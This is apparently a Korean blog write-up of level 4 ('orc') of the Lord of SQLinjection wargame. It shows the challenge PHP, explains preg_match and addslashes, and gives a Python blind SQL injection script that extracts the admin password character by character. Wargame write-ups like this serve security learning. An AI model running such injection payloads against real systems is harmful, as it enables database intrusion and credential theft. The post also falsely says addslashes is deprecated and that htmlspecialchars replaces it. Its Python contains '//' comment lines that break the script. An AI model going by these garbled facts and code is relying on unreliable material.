일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- lord of sqlinjection`
- 자바 Array list
- XSS
- sql
- 마이크로서비스 아키택트
- Lord of sqlinjection
- 자바 문법
- 세션
- 스프링 특징
- 자바 has-a
- 세션쿠키
- 소켓
- 스프링구조
- 스프링
- sqlinjection
- Los
- 자바 is-a
- APM
- php
- 쿠키
- 웹 개발
- 보안
- 자바
- 웹
- lord of sqlinjectin
- 해킹
- 스프링 종류
- 클라이언트
- injection
- 서버
- Today
- Total
LJ
Lord of SQLinjection ( 4번 ) 본문
Lord of SQLinjection 4번 orc이다.
간단한 코드 리뷰 및 분석
1. <?php
2. include "./config.php"; // 외부 설정 파일 포함
3. login_chk(); // 로그인 확인
4. $db = dbconnect(); // 데이터베이스 연결
5. if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); // 입력값 필터링
6. $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; // SQL 쿼리 생성
7. echo "<hr>query : <strong>{$query}</strong><hr><br>"; // 쿼리 출력
8. $result = @mysqli_fetch_array(mysqli_query($db,$query)); // 쿼리 실행 및 결과 추출
9. if($result['id']) echo "<h2>Hello admin</h2>"; // 관리자 확인
//이 조건문은 $result['id']에 값이 있고 그 값이 참(true)으로 평가될 경우 (즉, 'admin' 등과 같이 빈 문자열이 아닌 경우) 실행
10.
11. $_GET[pw] = addslashes($_GET[pw]); // SQL 인젝션 방지를 위한 addslashes 사용
12. $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; // 두 번째 쿼리 생성
13. $result = @mysqli_fetch_array(mysqli_query($db,$query)); // 두 번째 쿼리 실행 및 결과 추출
14. if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); // 결과 확인 및 처리
15. highlight_file(__FILE__); // 파일 내용 강조
16. ?>
preg_match 함수 정리 및 pw 입력 값 필터링 규칙 분석
1. preg_match 함수 개요
preg_match 함수는 문자열 안에서 특정한 정규식 패턴의 존재 여부를 확인하는 데 사용되는 PHP 내장 함수이다.
핵심 기능:
- 패턴 일치 여부 확인: 주어진 패턴이 문자열에 존재하는지 여부를 판단한다.
- 일치 정보 추출: $matches 매개변수를 사용하면 패턴과 일치하는 부분 문자열을 배열에 담아낼 수 있다.
preg_match($pattern, $subject, [, $matches]);
매개변수:
- $pattern: 검색할 정규식 패턴 (문자열로 입력)
- $subject: 입력 문자열
- $matches: (선택적) 패턴과 일치하는 부분 문자열을 담는 배열
반환값:
- 일치: 패턴과 일치하는 경우 1을 반환한다.
- 불일치: 패턴과 일치하지 않는 경우 0을 반환한다.
- 오류: 유효하지 않은 패턴인 경우 FALSE를 반환한다.
2. pw 입력 값 필터링 규칙 분석
$pattern = "/prob|_|\\.|\\(\\)/"; // 모든 규칙을 하나의 패턴으로 합친 예시
$subject = "my_password123"; // 입력 문자열 예시
if (preg_match($pattern, $subject)) {
echo "필터링 규칙에 위배됩니다.";
} else {
echo "필터링 규칙을 준수합니다.";
}
문제에서 제시된 정보를 바탕으로 preg_match 함수를 사용하여 pw 입력 값 필터링 규칙을 다음과 같이 분석할 수 있다.
규칙:
- "prob" 문자열 포함 여부 확인: prob 패턴이 입력 문자열에 존재하는지 확인한다.
- "_" 문자열 포함 여부 확인: _ 패턴이 입력 문자열에 존재하는지 확인한다.
- "." 문자열 포함 여부 확인: . 패턴이 입력 문자열에 존재하는지 확인한다.
- "()" 문자열 포함 여부 확인: () 패턴이 입력 문자열에 존재하는지 확인한다.
설명:
- 위 코드는 preg_match 함수를 사용하여 $pattern 패턴이 $subject 문자열에 존재하는지 확인한다.
- 패턴과 일치하는 경우 "필터링 규칙에 위배됩니다" 메시지를 출력하고, 일치하지 않는 경우 "필터링 규칙을 준수합니다" 메시지를 출력한다.
- 실제 구현에서는 각 규칙을 개별적으로 검사하거나 조건에 따라 처리하는 등의 로직을 추가해야 할 수 있다.
3. 추가 고려 사항
- 패턴 최적화: 정규식 패턴은 상황에 따라 복잡해질 수 있다. 성능 향상을 위해 가능한 경우 패턴을 최적화하는 것이 좋다.
- 보안: 입력 값을 필터링할 때는 악의적인 코드를 방지하기 위해 주의해야 한다.
- 유효성 검사: preg_match 함수는 패턴 일치 여부만 확인하며, 입력 값의 유효성을 보장하지는 않는다. 필요에 따라 추가적인 유효성 검사를 수행해야 한다.
***addslashes() 함수****
addslashes() 함수는 특정 문자 앞에 백슬래시(\)를 추가하여 특수 문자로 해석되는 것을 방지하는 데 사용된다. 이 함수는 주로 데이터베이스 쿼리나 HTML 코드와 같은 문자열을 출력할 때 사용된다.
addslashes() 함수가 처리하는 문자:
- 작은 따옴표 (')
- 큰 따옴표 (")
- 백슬래시 (\)
- NULL 바이트 (0)
SQL 쿼리에서 작은 따옴표 이스케이핑 예시:
다음과 같은 SQL 쿼리를 사용하면 오류가 발생한다.
INSERT INTO users (name) VALUES ('It's a desk');
이 쿼리는 작은 따옴표(')를 문자열 리터럴의 끝으로 해석하기 때문에 실패된다. 이를 방지하려면 addslashes() 함수를 사용하여 작은 따옴표를 이스케이핑할 수 있다.
$name = "It's a desk";
$escapedName = addslashes($name);
$query = "INSERT INTO users (name) VALUES ('$escapedName')";
위 코드는 $name 변수에 있는 작은 따옴표를 이스케이핑하여 다음과 같은 쿼리를 생성한다.
INSERT INTO users (name) VALUES ('It\'s a desk');
이 쿼리는 성공적으로 실행되어 "It's a desk" 값을 users 테이블의 name 열에 삽입한다.
참고 사항:
- addslashes() 함수는 PHP 5.3.4 이후 사용되지 않는 것으로 표시되었다. 대신 htmlspecialchars() 함수를 사용하는 것이 좋다. htmlspecialchars() 함수는 addslashes() 함수와 동일한 기능을 제공하며 더 많은 문자를 이스케이핑할 수 있다.
- htmlspecialchars() 함수는 일반적으로 HTML로 출력될 문자열을 이스케이핑하는 데 사용되는 반면, addslashes() 함수는 SQL 쿼리에서 사용될 문자열을 이스케이핑하는 데 더 적합하다.
- SQL 쿼리에서 특수 문자를 이스케이핑하는 것은 SQL 주입 공격을 방지하는 데 중요하다. SQL 주입 공격은 데이터베이스를 조작하거나 데이터를 도용하는 데 사용될 수 있다.
문제풀이
Blind sqlinjection 기법으로 비밀번호를 알아내어 맞는 비밀번호를 입력해서 문제를 해결한다.
password 길이 확인
어떤 아이디의 비밀번호를 구하는지 알기위해 id 파라미터를 추가해 비밀번호 길이가 8임을 확인하였다.
( and 연산 먼저 or 연산은 다음 )
비밀번호의 길이를 알아냈으니 다음은 비밀번호 한글자 씩 알아본다.
import requests
//requests 라이브러리를 가져옵니다. 이 라이브러리는 HTTP 요청을 쉽게 만들어주는 도구로,
//웹 서버와의 통신에 사용됩니다.
# 초기 비밀번호를 빈 문자열로 설정
password = ''
# 비밀번호의 최대 길이를 가정하여 루프
for password_length in range(1, 9): # 1부터 8까지
# 가능한 모든 ASCII 문자를 시도 (0부터 z까지)
for ascii_code in range(ord('0'), ord('z') + 1):
# 취약한 웹 페이지의 URL
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
# SQL 인젝션 쿼리 구성
query = {
'pw': f"' or substr(pw, 1, {password_length})='{password + chr(ascii_code)}'#"
//f는 문자열 형식 지정자로 사용되며 쿼리에 문자열 값을 삽입하는 데 사용
}
# 사용자의 세션 쿠키
cookies = {
'PHPSESSID': '여기에_당신의_쿠키_값_입력'
}
# 요청 수행
response = requests.get(url, params=query, cookies=cookies)
//requests.get(): requests 라이브러리에서 제공하는 GET 요청 함수
# 'Hello admin'이 포함되어 있으면 현재 추측한 비밀번호가 맞는 것
if 'Hello admin' in response.text:
password += chr(ascii_code)
print(f'Password detected ({password_length} characters): {password}')
break # 다음 길이의 비밀번호 추측으로 넘어감
# 최종 비밀번호 출력
print(f'Final password: {password}')
pw='||id='admin' and substr(pw,1,1)='0'%23 쿼리 기반으로 진행된다.
위의 코드를 기반으로 스크립트를 돌린 결과이다.
MySQL은 대문자와 소문자를 구분하지 않아 대문자 A와 소문자 a 모두 참의 결과로 보이지만
대문자 A의 경우로는 해결되지 않아 소문자 a를 넣어본 결과 문제가 해결된다.
'IT 보안 > 보안첼린지' 카테고리의 다른 글
XSS game level4 (0) | 2024.05.17 |
---|---|
Lord of SQLinjection ( 7번 ) (0) | 2024.05.17 |
Lord of SQLinjection ( 6번 ) (0) | 2024.05.16 |
Lord of SQLinjection ( 3번 ) (0) | 2024.05.13 |
Lord of SQLinjection ( 1번 ) (0) | 2024.05.13 |